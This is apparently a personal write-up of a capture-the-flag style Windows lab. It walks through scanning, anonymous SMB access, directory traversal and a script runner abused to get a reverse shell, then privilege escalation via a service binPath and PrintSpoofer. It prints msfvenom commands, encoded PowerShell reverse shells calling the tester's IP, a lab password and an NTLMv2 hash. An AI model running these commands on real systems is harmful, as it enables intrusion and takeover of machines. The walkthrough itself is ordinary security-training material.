-----
![[Pasted image 20261022215528.png]]
-----
# nmap
```sh
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack Werkzeug httpd 3.1.9 (Python 3.14.8)
| http-methods:
|_ Supported Methods: GET HEAD OPTIONS
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
|_http-server-header: Werkzeug/3.1.9 Python/3.14.8
135/tcp open msrpc syn-ack Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn
445/tcp open microsoft-ds? syn-ack
3389/tcp open ms-wbt-server syn-ack Microsoft Terminal Services
| ssl-cert: Subject: commonName=WIN-0MTGMLVOBBO
| Issuer: commonName=WIN-0MTGMLVOBBO
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-10-11T18:31:30
| Not valid after: 2027-04-12T18:31:30
| MD5: aeac:10ed:6e2a:5176:02e8:64dd:9f14:5a99
| SHA-1: f325:73e4:a23f:341a:2d3f:b8ad:9d06:45e9:23ac:157c
| rdp-ntlm-info:
| Target_Name: WIN-0MTGMLVOBBO
| NetBIOS_Domain_Name: WIN-0MTGMLVOBBO
| NetBIOS_Computer_Name: WIN-0MTGMLVOBBO
| DNS_Domain_Name: WIN-0MTGMLVOBBO
| DNS_Computer_Name: WIN-0MTGMLVOBBO
| Product_Version: 10.0.20348
|_ System_Time: 2026-10-22T01:48:23+00:00
|_ssl-date: 2026-10-22T01:49:03+00:00; -1s from scanner time.
49667/tcp open msrpc syn-ack Microsoft Windows RPC
49669/tcp open msrpc syn-ack Microsoft Windows RPC
49670/tcp open msrpc syn-ack Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
```
# nuclei
```sh
chromite@parrot:~/hacksmarterlabs/labs/induction$ nuclei -target $target
__ _
____ __ _______/ /__ (_)
/ __ \/ / / / ___/ / _ \/ /
/ / / / /_/ / /__/ / __/ /
/_/ /_/\__,_/\___/_/\___/_/ v3.6.1
projectdiscovery.io
[WRN] Found 9 templates with runtime error (use -validate flag for further examination)
[INF] Current nuclei version: v3.6.1 (outdated)
[INF] Current nuclei-templates version: v10.5.0 (latest)
[INF] New templates added in latest release: 295
[INF] Templates loaded for current scan: 11135
[INF] Executing 11135 signed templates from projectdiscovery/nuclei-templates
[INF] Targets loaded for current scan: 1
[INF] Running httpx on input host
[INF] Found 1 URL from httpx
[INF] Templates clustered: 2720 (Reduced 2584 Requests)
[INF] Using Interactsh Server: oast.online
[rdp-detect] [javascript] [info] 10.1.75.103:3389
[smb-version-detect:smb-version] [javascript] [info] 10.1.75.103:445 ["SMB 2.1"]
[smb2-capabilities] [javascript] [info] 10.1.75.103:445 ["["DFSSupport","LargeMTU","Leasing"]"]
[smb2-server-time] [javascript] [info] 10.1.75.103:445 ["SystemTime: 2026-10-22T21:38:51.000Z ServerStartTime: 2009-04-22T19:24:48.000Z"]
[smb-enum] [javascript] [info] 10.1.75.103:445 ["DNSComputerName: WIN-0MTGMLVOBBO","ForestName:","OSVersion: 10.0.20348","NetBIOSComputerName: WIN-0MTGMLVOBBO","NetBIOSDomainName: WIN-0MTGMLVOBBO","DNSComputerNamen: WIN-0MTGMLVOBB
O"]
[smb-enum-domains] [javascript] [info] 10.1.75.103:445 ["DomainName: WIN-0MTGMLVOBBO"]
[smb-os-detect] [javascript] [info] 10.1.75.103:445 ["Windows Server 2022, Version 21H2"]
[smb-signing] [javascript] [medium] 10.1.75.103:445
[smb-anonymous-access] [javascript] [high] 10.1.75.103:445
[smb-shares] [javascript] [low] 10.1.75.103:445 ["[ADMIN$ C$ fyodor_documents_backup IPC$]"] [password="",username="admin"]
[rdp-detection:win2016] [tcp] [info] 10.1.75.103:3389
[http-missing-security-headers:strict-transport-security] [http] [info] http://10.1.75.103
[http-missing-security-headers:permissions-policy] [http] [info] http://10.1.75.103
[http-missing-security-headers:x-frame-options] [http] [info] http://10.1.75.103
[http-missing-security-headers:referrer-policy] [http] [info] http://10.1.75.103
[http-missing-security-headers:cross-origin-embedder-policy] [http] [info] http://10.1.75.103
[http-missing-security-headers:cross-origin-opener-policy] [http] [info] http://10.1.75.103
[http-missing-security-headers:content-security-policy] [http] [info] http://10.1.75.103
[http-missing-security-headers:x-content-type-options] [http] [info] http://10.1.75.103
[http-missing-security-headers:x-permitted-cross-domain-policies] [http] [info] http://10.1.75.103
[http-missing-security-headers:cross-origin-resource-policy] [http] [info] http://10.1.75.103
[tech-detect:python] [http] [info] http://10.1.75.103
[options-method] [http] [info] http://10.1.75.103 ["GET, OPTIONS, HEAD"]
[INF] Scan completed in 5m. 23 matches found.
```
We have anonymous read access to smb shares
# TCP/80 HTTP
![[Pasted image 20261022164051.png]]
Web app for script management
![[Pasted image 20261022164143.png]]
To run scripts we have to login
## Directory Fuzzing
We'll let this run while we check out other services
```sh
chromite@parrot:~/hacksmarterlabs/labs/induction$ feroxbuster -u http://induction.local/ -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.13.1
───────────────────────────┬──────────────────────
🎯 Target Url │ http://induction.local/
🚩 In-Scope Url │ induction.local
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.13.1
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 5l 31w 207c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 100l 160w 1936c http://induction.local/login
302 GET 5l 22w 199c http://induction.local/run => http://induction.local/login
200 GET 89l 156w 1685c http://induction.local/logs
200 GET 89l 156w 1664c http://induction.local/
302 GET 5l 22w 189c http://induction.local/logout => http://induction.local/
400 GET 5l 22w 167c http://induction.local/console
[>-------------------] - 2m 40901/1273821 52m found:6 errors:0
🚨 Caught ctrl+c 🚨 saving scan state to ferox-http_induction_local_-1792705473.state ...
[>-------------------] - 2m 40913/1273821 52m found:6 errors:0
[>-------------------] - 2m 40894/1273818 396/s http://induction.local/
```
I killed this early, if we get stuck we'll run the whole thing
# TCP/445 SMB
## netexec
```sh
chromite@parrot:~/hacksmarterlabs/labs/induction$ nxc smb $target -u 'guest' -p '' --shares
SMB 10.1.75.103 445 WIN-0MTGMLVOBBO [*] Windows Server 2022 Build 20348 x64 (name:WIN-0MTGMLVOBBO) (domain:WIN-0MTGMLVOBBO) (signing:False) (SMBv1:None)
SMB 10.1.75.103 445 WIN-0MTGMLVOBBO [+] WIN-0MTGMLVOBBO\guest:
SMB 10.1.75.103 445 WIN-0MTGMLVOBBO [*] Enumerated shares
SMB 10.1.75.103 445 WIN-0MTGMLVOBBO Share Permissions Remark
SMB 10.1.75.103 445 WIN-0MTGMLVOBBO ----- ----------- ------
SMB 10.1.75.103 445 WIN-0MTGMLVOBBO ADMIN$ Remote Admin
SMB 10.1.75.103 445 WIN-0MTGMLVOBBO C$ Default share
SMB 10.1.75.103 445 WIN-0MTGMLVOBBO fyodor_documents_backup READ
SMB 10.1.75.103 445 WIN-0MTGMLVOBBO IPC$ READ Remote IPC
```
## impacket-smbclient
```sh
chromite@parrot:~/hacksmarterlabs/labs/induction$ impacket-smbclient 'guest'@$target -no-pass
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
Type help for list of commands
# use fyodor_documents_backup
# ls
drw-rw-rw- 0 Sun Oct 4 01:09:07 2026 .
drw-rw-rw- 0 Mon Oct 12 18:32:05 2026 ..
drw-rw-rw- 0 Sun Oct 4 00:18:48 2026 app
-rw-rw-rw- 703 Sun Oct 4 01:08:42 2026 backup.ps1
# get backup.ps1
# cd app
# ls
drw-rw-rw- 0 Sun Oct 4 00:18:48 2026 .
drw-rw-rw- 0 Sun Oct 4 01:09:07 2026 ..
-rw-rw-rw- 7422 Sun Oct 4 01:40:06 2026 app.py
# get app.py
```
### app.py
![[Pasted image 20261022165303.png]]
### backup.ps1
![[Pasted image 20261022165453.png]]
Hard coded credentials here but we also see the comment of "Need to update script with new password"
- Let's see if we can break that hash first
- Cannot crack the hash
- Cannot authenticate with hardcoded credentials and admin
# Back To: TCP/80 HTTP
## Directory Traversal
![[Pasted image 20261022175310.png]]
We have directory traversal in the `/logs` endpoint
### backup.ps1 new password
![[Pasted image 20261022180933.png]]
Got'em
- We have valid creds to access the scripts portal I think, let's verify
- We In
## Authenticated `/run`
![[Pasted image 20261022181101.png]]
```python
if request.method == "POST":
path = request.form.get("script", "")
if not path:
error = "Invalid script path."
elif not os.path.isfile(path) and not path.startswith("\\\\"):
error = "Script not found."
elif not path.lower().endswith(".ps1"):
error = "Only PowerShell .ps1 files are allowed."
else:
try:
result = subprocess.run(
[
"powershell.exe",
"-executionpolicy",
"bypass",
"-File",
path,
],
capture_output=True,
text=True
)
output = (
f"Exit code: {result.returncode}\\n\\n"
f"--- STDOUT ---\\n"
f"{result.stdout}\\n"
f"--- STDERR ---\\n"
f"{result.stderr}"
)
except OSError as e:
error = f"Unable to execute PowerShell: {e}"
```
We can only:
- Run scripts on the with valid file path on host
- Run scripts from remote shares
- Run only powershell scripts
### executing backup.ps1
![[Pasted image 20261022190914.png]]
### trying to execute shell.ps1 from my share
Start impacket smb server
```sh
chromite@parrot:~/hacksmarterlabs/labs/induction$ sudo impacket-smbserver share /home/chromite/hacksmarterlabs/labs/induction/ -smb2support
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.1.75.103,50104)
[*] AUTHENTICATE_MESSAGE (WIN-0MTGMLVOBBO\fyodor,WIN-0MTGMLVOBBO)
[*] User WIN-0MTGMLVOBBO\fyodor authenticated successfully
[*] fyodor::WIN-0MTGMLVOBBO:aaaaaaaaaaaaaaaa:27773f0dae17d3081ada4e3fe498d516:01010000000000000067ca608662dd01f02
2a7a11f7d1f0700000000010010004a004c005200590043006e006e007800030010004a004c005200590043006e006e007800020010004300
50006b006d004b0072005700530004001000430050006b006d004b00720057005300070008000067ca608662dd01060004000200000008003
000300000000000000000000000002000000b62a8a536ed0d8319f901e71a8172831edaad47083d8f9c12d1472002b9dda20a001000000000
000000000000000000000000000900260063006900660073002f00310030002e003200300030002e003100310030002e00310031003700000
0000000000000
```
- Make sure you do -smb2support I forgot that and took me 30 minutes to realize why it wasn't working lol
```sh
sudo penelope -i tun0 -p 443
```
- Start listener
![[Pasted image 20261022193756.png]]
- Execute reverse shell payload
![[Pasted image 20261022193921.png]]
We are in as fyodor
# Access as fyodor
## app.py
![[Pasted image 20261022193956.png]]
That's a new password
```sh
chromite@parrot:~/hacksmarterlabs/labs/induction$ nxc smb $target -u 'fyodor' -p 'CrimeAndPunishmentAxe33!'
SMB 10.1.75.103 445 WIN-0MTGMLVOBBO [*] Windows Server 2022 Build 20348 x64 (name:WIN-0MTGMLVOBBO) (domain:WIN-0MTGMLVOBBO) (signing:False) (SMBv1:None)
SMB 10.1.75.103 445 WIN-0MTGMLVOBBO [+] WIN-0MTGMLVOBBO\fyodor:CrimeAndPunishmentAxe33!
```
It belongs to fyodor but we cannot rdp
## winpeas
![[Pasted image 20261022195619.png]]
Interesting scheduled task
![[Pasted image 20261022195959.png]]
```sh
PS C:\schtasks /query /fo LIST /v
Folder: \
HostName: WIN-0MTGMLVOBBO
TaskName: \flasktask
Next Run Time: N/A
Status: Running
Logon Mode: Interactive/Background
Last Run Time: 10/22/2026 2:36:33 PM
Last Result: 267009
Author: WIN-0MTGMLVOBBO\Administrator
Task To Run: python3 app.py
Start In: C:\Users\fyodor\Documents\app
Comment: N/A
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management: Stop On Battery Mode, No Start On Batteries
Run As User: fyodor
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: At system start up
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
```
It runs as the user I am right now though
## powerup.ps1
Transfered file with `iwr -uri`
```ps1
. .\powerup.ps1
PS C:\Users\fyodor\Downloads> Invoke-AllChecks
[*] Running Invoke-AllChecks
[*] Checking if user is in a local group with administrative privileges...
[*] Checking for unquoted service paths...
[*] Checking service executable and argument permissions...
[*] Checking service permissions...
[*] Checking %PATH% for potentially hijackable DLL locations...
ModifiablePath : C:\Users\fyodor\AppData\Local\Microsoft\WindowsApps
IdentityReference : WIN-0MTGMLVOBBO\fyodor
Permissions : {WriteOwner, Delete, WriteAttributes, Synchronize...}
%PATH% : C:\Users\fyodor\AppData\Local\Microsoft\WindowsApps
AbuseFunction : Write-HijackDll -DllPath 'C:\Users\fyodor\AppData\Local\Microsoft\WindowsApps\wlbsctrl.dll'
[*] Checking for AlwaysInstallElevated registry key...
[*] Checking for Autologon credentials in registry...
[*] Checking for modifidable registry autoruns and configs...
[*] Checking for modifiable schtask files/configs...
[*] Checking for unattended install files...
[*] Checking for encrypted web.config strings...
[*] Checking for encrypted application pool and virtual directory passwords...
[*] Checking for plaintext passwords in McAfee SiteList.xml files....
[*] Checking for cached Group Policy Preferences .xml files....
```
### msfvenom
```sh
chromite@parrot:~/hacksmarterlabs/labs/induction$ msfvenom -p windows/x64/shell/reverse_tcp LHOST=10.200.110.117 LPORT=80 --platform windows -a x64 -f dll -o wlbsctrl.dll
No encoder specified, outputting raw payload
Payload size: 509 bytes
Final size of dll file: 9216 bytes
Saved as: wlbsctrl.dll
```
```sh
PS C:\Users\fyodor\Downloads> iwr -uri http://10.200.110.117/wlbsctrl.dll -o wlbsctrl.dll
PS C:\Users\fyodor\Downloads> ls
Directory: C:\Users\fyodor\Downloads
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 10/3/2026 8:04 PM 94274 Disable Windows 11 Services to Boost Performance Securely.htm
-a---- 10/22/2026 5:49 PM 293274 p.ps1
-a---- 10/22/2026 6:19 PM 562953 PowerUp.ps1
-a---- 10/22/2026 5:53 PM 10170880 win.exe
-a---- 10/22/2026 6:33 PM 9216 wlbsctrl.dll
PS C:\Users\fyodor\Downloads> cp wlbsctrl.dll 'C:\Users\fyodor\AppData\Local\Microsoft\WindowsApps\wlbsctrl.dll'
```
- That didn't do anything
## PrivescCheck.ps1
```sh
Invoke-PrivescCheck
```
![[Pasted image 20261022204038.png]]
- Need to check if we can modify binPath
```sh
PS C:\Users\fyodor\Downloads> sc.exe config tapisrv binpath="cmd.exe /c net localgroup administrators fyodor /add"
[SC] ChangeServiceConfig SUCCESS
```
We can modify the binpath
- But what we did up there didn't work.
Creating reverse shell payload with `msfvenom`
```sh
chromite@parrot:~/hacksmarterlabs/labs/induction$ msfvenom -p windows/x64/shell/reverse_tcp LHOST=10.200.110.117 LPORT=80 --platform windows -a x64 -f exe -o poc.exe
No encoder specified, outputting raw payload
Payload size: 509 bytes
Final size of exe file: 7680 bytes
Saved as: poc.exe
chromite@parrot:~/hacksmarterlabs/labs/induction$ sudo python3 -m http.server 80
\Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
^C
Keyboard interrupt received, exiting.
chromite@parrot:~/hacksmarterlabs/labs/induction$ sudo penelope -i tun0 -p 80
[-] Refusing to load /home/chromite/.penelope/peneloperc: writable by others or not owned by you (mode 0o600)
[+] Listening for reverse shells on 10.200.110.117:80
➤ 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
```
that failed to start, kept getting access denied when trying to start
```sh
PS C:\sc.exe config tapisrv binpath="C:\Windows\System32\cmd.exe /c powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMgAw
ADAALgAxADEAMAAuADEAMQA3ACIALAA4ADAAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIA
A9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0A
LgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgAC
kAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJ
AEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJA
BjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA"
[SC] ChangeServiceConfig SUCCESS
PS C:\Users\fyodor>sc.exe start tapisrv
[SC] StartService FAILED 1053:
The service did not respond to the start or control request in a timely fashion.
```
# Access as `nt authority\network service`
![[Pasted image 20261022210834.png]]
I am `network service` user
- SeImpersonatePrivilege -> Potato
## GodPotato
```sh
chromite@parrot:~/hacksmarterlabs/labs/induction$ impacket-smbclient 'fyodor:CrimeAndPunishmentAxe33!'@$target
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
Type help for list of commands
# use fyodor_documents_backup
# put /home/chromite/tools/GodPotato/gpot.exe
```
file transfer
- Didn't work just do it the normal way with iwr, no access to that folder
```sh
sudo python3 -m http.server 8000
```
```sh
PS C:\iwr -uri http://10.200.110.117:8000/gpot.exe -o gpot.exe
PS C:\Users\Public> dir
Directory: C:\Users\Public
Mode LastWriteTime Length Name
---- ------------- ------ ----
d-r--- 5/21/2026 9:01 AM Documents
d-r--- 5/8/2021 1:20 AM Downloads
d-r--- 5/8/2021 1:20 AM Music
d-r--- 5/8/2021 1:20 AM Pictures
d-r--- 5/8/2021 1:20 AM Videos
-a---- 10/22/2026 7:19 PM 57344 gpot.exe
```
Public folder works
(gpot.exe is just godpotato)
```sh
PS C:\Users\Public> .\gpot.exe -cmd "whoami"
[*] CombaseModule: 0x140712849178624
[*] DispatchTable: 0x140712851765576
[*] UseProtseqFunction: 0x140712851058688
[*] UseProtseqFunctionParamCount: 6
[*] HookRPC
[*] Start PipeServer
[*] Trigger RPCSS
[*] CreateNamedPipe \\.\pipe\6eaea2e2-ba0e-4371-a660-dde0f1b2d2f2\pipe\epmapper
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 00003002-0b2c-ffff-1197-389b8b6f93e5
[*] DCOM obj OXID: 0x5064d80fe19272b2
[*] DCOM obj OID: 0xdbd72bf86882eb3b
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] UnmarshalObject: 0x8007000e
[!] Failed to impersonate security context token
```
Failed even after we enabled seimpersonate, we just couldn't enable seassignprimarytoken
## PrintSpoofer
```sh
PS C:\Users\Public> .\PrintSpoofer64.exe -c "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMgAwADAALgAxADEAMAAuADEAMQA
3ACIALAA1ADUANQA1ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZ
QBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEE
AUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkA
GIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdAB
CAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQAL
gBDAGwAbwBzAGUAKAApAA=="
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
```
```sh
nc -nvlp 5555
```
![[Pasted image 20261022215327.png]]